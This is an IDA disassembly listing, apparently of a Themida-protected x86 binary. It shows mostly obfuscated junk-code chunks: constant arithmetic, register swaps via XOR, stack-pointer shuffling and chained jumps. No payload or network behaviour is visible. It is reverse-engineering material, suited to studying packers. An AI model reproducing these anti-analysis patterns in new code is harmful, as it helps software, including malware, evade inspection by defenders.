; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_56D6E4: ; CODE XREF: sub_55EA9F+A83Ej
pop eax
and eax, edi
mov edi, [esp-4+arg_0]
push edx
jmp loc_55D2DD
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
loc_56D6F0: ; CODE XREF: Themida_:0056129Dj
push 6A39h
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
jmp loc_562069
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EC76
loc_56D707: ; CODE XREF: sub_55EC76+5AA5j
mov ebp, 0E5D9764Ah
sub ebp, 5DDB2A0Dh
add ebp, edi
add ebp, 5DDB2A0Dh
pop edi
jmp sub_560483
; END OF FUNCTION CHUNK FOR sub_55EC76
; ---------------------------------------------------------------------------
loc_56D720: ; CODE XREF: Themida_:00566AB7j
sub eax, 53372E7Eh
shl eax, 3
sub esp, 4
mov [esp], edi
mov edi, 575A5404h
xor eax, edi
pop edi
add esi, eax
pop eax
jmp loc_55EE94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D73E: ; CODE XREF: sub_56755A+359j
and ecx, edx
jmp loc_56F9AC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D745: ; CODE XREF: Themida_:0056831Cj
push ebx
mov ebx, 7BDD6B32h
not ebx
neg ebx
add ebx, 6F9576CBh
jmp loc_55BE0C
; ---------------------------------------------------------------------------
loc_56D75A: ; CODE XREF: Themida_:0056832Aj
mov ecx, esp
add ecx, 4
jmp loc_564008
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D767: ; CODE XREF: sub_56755A+5EA5j
add edx, ecx
jmp loc_569E64
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D76E: ; CODE XREF: Themida_:0056ED75j
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 61AC3A9Dh
inc ebp
jmp loc_56F60E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D783: ; CODE XREF: sub_56755A-7242j
sub eax, 32C12F13h
sub eax, ebx
add eax, 32C12F13h
sub eax, 7165341Bh
mov ebx, [esp+24h+var_24]
jmp loc_565763
; ---------------------------------------------------------------------------
loc_56D79C: ; CODE XREF: sub_56755A-3968j
push esi
mov esi, ecx
mov edi, esi
jmp loc_56318F
; ---------------------------------------------------------------------------
loc_56D7A6: ; CODE XREF: sub_56755A+C77j
mov cl, 2Ch
add bl, cl
jmp loc_569F75
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D7AF: ; CODE XREF: Themida_:0056E66Cj
push eax
mov eax, 39562563h
jmp loc_5639BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56D7BA: ; CODE XREF: sub_55D71E+14AFj
pop edx
jmp loc_56FF68
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_56D7C0: ; CODE XREF: sub_56B774-4A73j
sub ecx, 0EA51BB9h
pop edi
neg ecx
sub ecx, 0E6A471D6h
mov eax, ecx
jmp loc_56C643
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_56D7D6: ; CODE XREF: sub_56CD48-9459j
mov [esp+8+var_8], ebp
mov ebp, 3DE56954h
mov ebx, 26FFA4D2h
add ebx, ebp
pop ebp
push ecx
jmp loc_56525F
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D7EC: ; CODE XREF: sub_56755A+42FDj
mov edx, 23014AE6h
add edx, 729A238Dh
add edx, 6D04A245h
mov ebp, edx
pop edx
shr ebp, 2
or ebp, 2A471E86h
jmp loc_56DB58
; ---------------------------------------------------------------------------
loc_56D80E: ; CODE XREF: sub_56755A-1B96j
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
add esp, 4
push ecx
mov ecx, esp
jmp loc_55EF59
; ---------------------------------------------------------------------------
loc_56D81F: ; CODE XREF: sub_56755A-951Fj
pop edi
jmp loc_560757
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56D825: ; CODE XREF: Themida_:0055D83Fj
add al, cl
pop cx
mov ebx, [esp]
push edi
push esp
jmp loc_56E4B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_56D833: ; CODE XREF: sub_56542E+F6Dj
add ebp, esi
jmp loc_56C14A
; END OF FUNCTION CHUNK FOR sub_56542E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_56D83A proc near ; CODE XREF: sub_55DD27+E25Cj
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055B5EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055D85E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055ED0F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055FCCF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00565ED4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568508 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056FC3B SIZE 00000013 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55B5EC
sub_56D83A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56D84B: ; CODE XREF: Themida_:0056D249j
pop esp
jmp loc_56C77F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56D851: ; CODE XREF: sub_56F653+5j
and bh, 0F8h
xor bh, 0D9h
neg bh
xor bh, 7Fh
xor bh, 68h
sub ch, bh
pop ebx
xor ch, 5Ch
add ch, 72h
jmp loc_56CEB9
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_56D86D: ; CODE XREF: Themida_:0055FAB9j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_55FA79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D87B: ; CODE XREF: sub_56755A-87Fj
pop esp
mov [esp-0Ch+arg_8], esi
push 1830h
mov [esp-8+arg_4], edi
mov edi, 34EF3829h
and edi, 5F095Ch
xor edi, 6F0F706Bh
xor edi, 44F5418Ah
inc edi
push edx
mov edx, 118C4A9Dh
add edx, 15C35B2h
push ecx
push eax
mov eax, 3D883419h
jmp loc_55F9D7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebx
push 6821h
mov [esp], ecx
push esp
pop ecx
jmp loc_560C03
; ---------------------------------------------------------------------------
loc_56D8D0: ; CODE XREF: Themida_:0055CE56j
push ebp
mov ebp, 4
add eax, ebp
pop ebp
push 365Ch
mov [esp], ebx
mov ebx, 4
jmp loc_55EDDE
; ---------------------------------------------------------------------------
loc_56D8EB: ; CODE XREF: Themida_:005615E0j
xchg edx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_56DE5A
; ---------------------------------------------------------------------------
loc_56D904: ; CODE XREF: Themida_:00565C8Dj
pop esp
xor al, bh
jmp loc_570072
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D90C: ; CODE XREF: sub_56755A+6C49j
pop edx
pop dword ptr [esp+0]
jmp loc_55DA64
; ---------------------------------------------------------------------------
loc_56D915: ; CODE XREF: sub_56755A-8C63j
sub ebx, 1E055B3Dh
add ebx, 1A5B0FB5h
jmp loc_5641ED
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_56D926: ; CODE XREF: sub_5643B1-5EBEj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
push ecx
push esi
mov esi, 0CB40DC4h
sub esi, 7F066583h
or esi, 294F1647h
add esi, 7DB3462Eh
sub esi, 0EC629DB2h
jmp loc_56B458
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
loc_56D95C: ; CODE XREF: Themida_:0057005Fj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56D971: ; CODE XREF: Themida_:0056B24Bj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_561451
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_56D97F: ; CODE XREF: sub_56250B+C6FCj
mov di, 19Ch
add di, 3C6h
xor cx, di
jmp loc_55D54C
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56D990: ; CODE XREF: sub_55D71E-4A5j
pop eax
jmp loc_55D019
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 747Fh
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_56ECDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_56D9B7: ; CODE XREF: sub_566FBB-FD7j
add esp, 4
mov edx, esi
pop esi
pop edi
sub esp, 4
mov [esp+0], esi
mov esi, edx
mov ecx, esi
pop esi
push [esp-14h+arg_10]
pop edx
add esp, 4
xor ecx, edx
xor edx, ecx
xor ecx, edx
not edx
xchg edx, ecx
push esi
jmp loc_55F079
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56D9E3: ; CODE XREF: sub_56755A-4F92j
add esp, 4
sub edi, ebx
push [esp+0Ch+var_C]
mov ebx, [esp+10h+var_10]
add esp, 4
push eax
jmp loc_56F1C0
; ---------------------------------------------------------------------------
loc_56D9FA: ; CODE XREF: sub_56755A+20Cj
mov [esp+16h+var_18+2], esi
mov esi, 3A390314h
jmp loc_56AEEB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DA07: ; CODE XREF: Themida_:00570629j
xor edi, 0A7C9A926h
add ecx, 275F0893h
jmp loc_56AE87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DA18: ; CODE XREF: sub_56755A+7A3j
sub ecx, 0F816E38h
add ecx, edi
add ecx, 0F816E38h
jmp loc_561684
; ---------------------------------------------------------------------------
loc_56DA2B: ; CODE XREF: sub_56755A-7273j
mov ecx, 6A751B7Bh
jmp loc_5678FF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_56DA35: ; CODE XREF: sub_565996-9CE9j
add esi, 7FFF6EFEh
jmp loc_56F528
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56572D
loc_56DA40: ; CODE XREF: sub_56572D-14A4j
or ecx, ebp
jmp loc_56A6E7
; END OF FUNCTION CHUNK FOR sub_56572D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DA47: ; CODE XREF: sub_56755A+8E17j
xchg edi, [esp+24h+var_24]
jmp loc_563C37
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DA4F: ; CODE XREF: Themida_:0056ADB2j
mov dh, 0FFh
add bl, dh
pop edx
add bl, 0B9h
add al, bl
pop ebx
sub esp, 2
mov [esp], cx
push eax
mov al, 0E7h
push 6ABAh
mov [esp], ebx
mov bl, al
mov ch, bl
pop ebx
pop eax
jmp loc_564948
; ---------------------------------------------------------------------------
loc_56DA7A: ; CODE XREF: Themida_:0055C6BEj
mov [esp], edx
mov edx, 7EA02BDEh
xor edx, 384C7320h
xor edx, 2D137320h
mov ebp, edx
pop edx
push esi
mov esi, 65396E87h
push ebp
jmp loc_569234
; ---------------------------------------------------------------------------
loc_56DA9D: ; CODE XREF: Themida_:0055DBEAj
pop ebp
push edi
mov edi, 42563057h
neg edi
xor edi, 257934B0h
shl edi, 4
dec edi
add edi, 0D058C116h
jmp loc_567613
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DABB: ; CODE XREF: sub_56755A-175Bj
mov ecx, esp
jmp sub_56AE72
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DAC2: ; CODE XREF: Themida_:0055F29Fj
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DAC7: ; CODE XREF: sub_56755A-8EACj
push [esp+2Ah+var_2C+2]
mov ebx, [esp+2Eh+var_30+2]
push edi
mov edi, esp
add edi, 4
push edx
mov edx, 2EA17652h
or edx, 5A270CB8h
not edx
jmp loc_56D56B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DAE9: ; CODE XREF: Themida_:00566591j
mov edi, 4
add esi, edi
pop edi
xor esi, [esp]
jmp loc_56FE80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_56DAF9: ; CODE XREF: sub_5643BC+49E5j
add edi, 4
xor edi, [esp+0]
xor [esp+0], edi
jmp loc_56C117
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
loc_56DB07: ; CODE XREF: Themida_:0055EC05j
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 1A8A794Ch
xor ecx, 491238B3h
not ecx
and ecx, 73CC5FFEh
sub ecx, 721929CEh
sub ecx, 0AE2AF42Eh
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
jmp loc_5669FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DB58: ; CODE XREF: sub_56755A+62AFj
xor ebp, 1AEF6C01h
and ecx, ebp
jmp loc_568A7D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DB65: ; CODE XREF: Themida_:00560120j
add esp, 4
push ebx
jmp loc_55CBA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C024
loc_56DB6E: ; CODE XREF: sub_56C024-9972j
sub ebx, 652C4F4Fh
add ecx, ebx
pop ebx
add ecx, 4
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
push edi
sub esp, 4
mov [esp-4+arg_0], ebp
push 6E785ED9h
pop ebp
push edi
jmp sub_56C508
; END OF FUNCTION CHUNK FOR sub_56C024
; ---------------------------------------------------------------------------
loc_56DB93: ; CODE XREF: Themida_:0055E5C3j
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
jmp loc_570270
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DBA6: ; CODE XREF: sub_56755A-853Aj
add ecx, ebp
pop ebp
xor ecx, [esp+20h+var_20]
xor [esp+20h+var_20], ecx
jmp loc_5611DA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DBB4: ; CODE XREF: Themida_:00560D7Fj
not dword ptr [esp]
pop ebp
neg ebp
jmp loc_56CFC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56DBBF: ; CODE XREF: sub_56F7FC-EFD7j
xor eax, edx
pop edx
push eax
push 3274h
mov [esp+8+var_8], edx
push edi
mov edi, 6697017Ch
mov edx, 4F3B0E5Eh
xor edx, edi
pop edi
xor [esp+8+var_4], edx
jmp loc_56589C
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56DBE2: ; CODE XREF: Themida_:005632A7j
mov ebp, 60D72976h
jmp loc_567FD5
; ---------------------------------------------------------------------------
loc_56DBEC: ; CODE XREF: Themida_:00560783j
push ebx
mov ecx, [esp]
add esp, 4
pop ebx
sub ecx, 3D01114Bh
sub ecx, 11E6862h
add ecx, edi
jmp loc_56A61D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DC07: ; CODE XREF: sub_56755A+6E6j
pop esi
push [esp+30h+var_30]
pop edx
add esp, 4
push edx
mov edx, 4
add ecx, edx
jmp loc_5617D5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DC1C: ; CODE XREF: Themida_:005671A0j
sub ebp, esi
pop esi
sub ebp, 7BB66430h
push dword ptr [esp]
pop eax
add esp, 4
push 52BEh
jmp loc_55FA97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DC36: ; CODE XREF: sub_56755A-1C8Bj
inc eax
xor eax, 70102DBCh
add ecx, eax
jmp loc_5701A2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DC43: ; CODE XREF: Themida_:00568F62j
pop esp
mov [esp], esi
mov esi, 7595323Ah
jmp loc_56D25B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_56DC51: ; CODE XREF: sub_56D5AE-47DEj
mov esp, [esp-4+arg_0]
push eax
mov eax, 24h
add eax, 1B6C57FDh
add eax, 39333BE3h
sub eax, 541C47B5h
add eax, edi
jmp loc_55BF2E
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
loc_56DC70: ; CODE XREF: Themida_:0055FC4Ej
push dword ptr [esp]
pop eax
jmp loc_568329
; ---------------------------------------------------------------------------
loc_56DC79: ; CODE XREF: Themida_:00560BFEj
sub esp, 4
mov [esp], esp
push edx
jmp loc_55BBBB
; ---------------------------------------------------------------------------
loc_56DC85: ; CODE XREF: Themida_:0056CA1Dj
pop eax
push ebx
mov ebx, 4
add eax, 1D995F5Ah
add eax, ebx
sub eax, 1D995F5Ah
pop ebx
push ebx
mov ebx, 263A4534h
jmp loc_56A218
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DCA4: ; CODE XREF: sub_56755A-E21j
pop [esp+28h+var_28]
jmp loc_570284
; ---------------------------------------------------------------------------
loc_56DCAC: ; CODE XREF: sub_56755A-5634j
pop edi
add edi, ecx
pop ecx
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
pop esp
push edx
mov edx, 6EB12316h
xor ecx, edx
mov edx, [esp+0]
jmp loc_567EBE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DCCA: ; CODE XREF: Themida_:00561D47j
sub esp, 4
mov [esp], ebx
push eax
mov eax, 4
mov ebx, eax
pop eax
add [esp+4], ebx
pop ebx
jmp loc_569B3B
; ---------------------------------------------------------------------------
loc_56DCE3: ; CODE XREF: Themida_:00560DBDj
xor ebx, 4E6B3BDBh
xor ebx, 62316B82h
sub edx, 37846A7Fh
sub edx, ebx
push eax
mov eax, 76528B3h
jmp loc_56EC73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DD02: ; CODE XREF: sub_56755A+834Aj
pop esp
mov [esp-4+arg_0], edi
jmp loc_56744A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DD0B: ; CODE XREF: Themida_:00561209j
push ebx
mov ebx, 73F26C35h
jmp loc_564FBF
; ---------------------------------------------------------------------------
loc_56DD16: ; CODE XREF: Themida_:0056DF9Aj
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
jmp loc_5615BE
; ---------------------------------------------------------------------------
loc_56DD2A: ; CODE XREF: Themida_:0056AFCFj
add ebp, 5F3BE59Ch
jmp loc_5646C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DD35: ; CODE XREF: sub_56755A+2399j
mov edi, ebx
mov ebx, [esp+4+var_4]
push edx
mov edx, esp
jmp loc_560E1B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DD42: ; CODE XREF: Themida_:00561B47j
xor edx, [esp]
mov esp, [esp]
jmp loc_56BF59
; ---------------------------------------------------------------------------
loc_56DD4D: ; CODE XREF: Themida_:0055D33Cj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], bx
push ecx
jmp loc_55D111
; ---------------------------------------------------------------------------
loc_56DD5D: ; CODE XREF: Themida_:00568FA3j
mov si, 0CE2h
jmp loc_560DDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_56DD66: ; CODE XREF: sub_55E99C-2F5Fj
add ecx, 4
jmp loc_56DF9F
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
loc_56DD71: ; CODE XREF: Themida_:00566515j
push esi
mov esi, esp
push 6E7Ah
jmp loc_561112
; ---------------------------------------------------------------------------
loc_56DD7E: ; CODE XREF: Themida_:00561FAFj
xor ebp, [esp]
xor [esp], ebp
not ebp
xchg ebp, [esp]
mov eax, [esp]
jmp loc_56CC55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DD91: ; CODE XREF: sub_56755A-5338j
push 5087h
jmp loc_567F42
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56DD9B: ; CODE XREF: sub_56CB7D-7CECj
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_570637
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_56DDAE: ; CODE XREF: Themida_:0056C15Aj
mov edi, 4
sub ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], eax
mov eax, esp
push 485Bh
mov [esp], edx
jmp loc_565485
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DDD2: ; CODE XREF: sub_56755A+238Bj
sub dh, 0EAh
mov ch, dh
pop edx
jmp loc_56EC13
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DDDD: ; CODE XREF: Themida_:00565D49j
mov ebx, [esp]
add esp, 4
jmp loc_56BB77
; ---------------------------------------------------------------------------
loc_56DDE8: ; CODE XREF: Themida_:0055BEA1j
push 49F0h
jmp loc_560B58
; ---------------------------------------------------------------------------
loc_56DDF2: ; CODE XREF: Themida_:0056E857j
mov [esp], ecx
jmp loc_56FC2F
; ---------------------------------------------------------------------------
loc_56DDFA: ; CODE XREF: Themida_:00564ECCj
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_56A87A
; ---------------------------------------------------------------------------
loc_56DE0D: ; CODE XREF: Themida_:0056A90Dj
xor eax, ebx
pop ebx
sub eax, 3B424D24h
push ebx
mov ebx, 0A61751C6h
jmp loc_56B08D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DE20: ; CODE XREF: sub_56755A-3082j
add esp, 4
push eax
mov eax, esi
mov edx, eax
pop eax
jmp loc_56E994
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DE2E: ; CODE XREF: Themida_:00567319j
mov [esp], esi
jmp loc_5632A0
; ---------------------------------------------------------------------------
loc_56DE36: ; CODE XREF: Themida_:0055EFB7j
not dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebp
mov ebp, 2B5A5005h
jmp loc_561FD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DE4A: ; CODE XREF: sub_56755A+2C1j
pop esp
push edi
push ebx
push 2E1A49B2h
push [esp-8+arg_4]
jmp loc_55EA86
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DE5A: ; CODE XREF: Themida_:0056D8FFj
mov [esp], edi
push eax
push 77EB3AFEh
jmp loc_56521E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DE68: ; CODE XREF: sub_56755A-23Aj
mov bl, dl
jmp loc_562532
; ---------------------------------------------------------------------------
loc_56DE6F: ; CODE XREF: sub_56755A+2296j
mov [esp-18h+arg_14], ebx
mov ebx, 43534AC0h
add edx, ebx
pop ebx
sub edx, 1F9C607Bh
add edx, eax
add edx, 1F9C607Bh
push 4C38h
jmp loc_55E869
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_56DE92: ; CODE XREF: sub_5643B1-3563j
pop esi
xor [esp+0Ch+var_8], ebp
pop ebp
jmp loc_55E4EF
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_56DE9D: ; CODE XREF: sub_56AE72+4F9Bj
pop eax
push ebx
mov ebx, 5B511930h
jmp loc_55BE21
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
loc_56DEA9: ; CODE XREF: Themida_:0056E449j
mov al, 14h
xor cl, al
jmp loc_55D6BD
; ---------------------------------------------------------------------------
loc_56DEB2: ; CODE XREF: Themida_:00568688j
mov [esp], edx
mov edx, 42E3190Ch
push ebp
mov ebp, 17D44919h
and ebp, 3E8F718Fh
push ecx
mov ecx, 5C60728Ah
jmp loc_55F04E
; ---------------------------------------------------------------------------
loc_56DED1: ; CODE XREF: Themida_:0056FE87j
push dword ptr [esp]
jmp loc_55E844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56DED9: ; CODE XREF: sub_56755A+508j
pop ecx
not ecx
sub ecx, 4E9716C6h
xor ecx, 2A7B9E4Eh
mov esi, ecx
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_5610B7
; ---------------------------------------------------------------------------
loc_56DEF5: ; CODE XREF: sub_56755A+3F46j
not esi
jmp loc_5654A4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56DEFC: ; CODE XREF: Themida_:0055EA39j
push ecx
mov ecx, 4DEB7E45h
jmp loc_564E10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56DF07: ; CODE XREF: sub_5615A9+EDD7j
dec cl
add cl, 2Ah
or dh, cl
pop ecx
shr dh, 4
sub dh, 0FAh
dec dh
or dh, 1Dh
add dh, 0Ah
add al, dh
pop edx
jmp loc_56EAEA
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_56DF25: ; CODE XREF: Themida_:0055EDB4j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55D3E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EBD2
loc_56DF33: ; CODE XREF: sub_56EBD2-39B2j
add edi, 4
jmp loc_56D3D6
; END OF FUNCTION CHUNK FOR sub_56EBD2
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
jmp loc_56F31E
; ---------------------------------------------------------------------------
loc_56DF46: ; CODE XREF: Themida_:0055F658j
sub ebx, 51396111h
xor ebx, 1A01ACB7h
add eax, 395C7C08h
add eax, ebx
jmp loc_567B2D
; ---------------------------------------------------------------------------
loc_56DF5E: ; CODE XREF: Themida_:00564E3Dj
sub esi, 72D12216h
xor esi, 45D4552Ch
sub esi, 0B11B8DCBh
jmp loc_568785
; ---------------------------------------------------------------------------
loc_56DF75: ; CODE XREF: Themida_:00566F37j
pop edi
jmp loc_55C596
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56DF7B: ; CODE XREF: sub_566504-2B7Aj
add edx, ecx
pop ecx
sub edx, edi
sub edx, 59677425h
pop edi
push eax
jmp loc_55E6FA
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_56DF8D: ; CODE XREF: sub_55E54A-1548j
mov ecx, 23AC29A6h
jmp loc_563344
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
loc_56DF97: ; CODE XREF: Themida_:005629AEj
mov esp, [esp]
jmp loc_56DD16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_56DF9F: ; CODE XREF: sub_55E99C+F3D0j
add ecx, 4
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub dword ptr [esp+4], 17E32005h
add dword ptr [esp+4], 524E492Dh
add [esp+4], ebx
jmp loc_55EFFA
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
loc_56DFC1: ; CODE XREF: Themida_:005695CCj
or ebp, 5CFF6D42h
shr ebp, 3
sub ebp, 0FBFEFE8h
push ebp
xor dword ptr [esp], 3C2D1F93h
pop edx
push eax
jmp loc_561A30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA40
loc_56DFDF: ; CODE XREF: sub_56AA40-CCBEj
add esp, 4
push ebx
